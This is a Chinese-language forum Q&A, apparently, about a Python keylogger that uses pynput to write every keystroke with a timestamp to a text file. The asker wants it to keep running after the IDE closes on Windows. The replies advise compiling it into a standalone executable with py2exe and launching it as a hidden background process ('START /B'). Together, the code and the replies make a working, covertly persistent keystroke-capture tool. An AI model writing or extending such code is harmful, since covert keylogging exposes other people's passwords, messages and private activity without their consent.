我怎么总是听?当Pycharm关闭时,脚本关闭。我使用Windows
from pynput.keyboard import Key, Listener
import logging
log_dir=""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
[我建议使用py2exe
之类的工具从脚本中构建独立的Windows可执行文件,因为要求python解释器运行键盘记录程序会为其添加繁琐的依赖关系。
或者您可以调用python解释器并从Windows命令行CMD作为后台进程运行它:
START /B python <your_python_file>.py
您需要运行文件并保持打开状态。最简单的方法是从命令行(注意:您需要使用python文件将CD转到目录):
python <nameOfYourFile>.py
点击返回,请不要关闭命令行。
您只需输入
python <file_name>.py &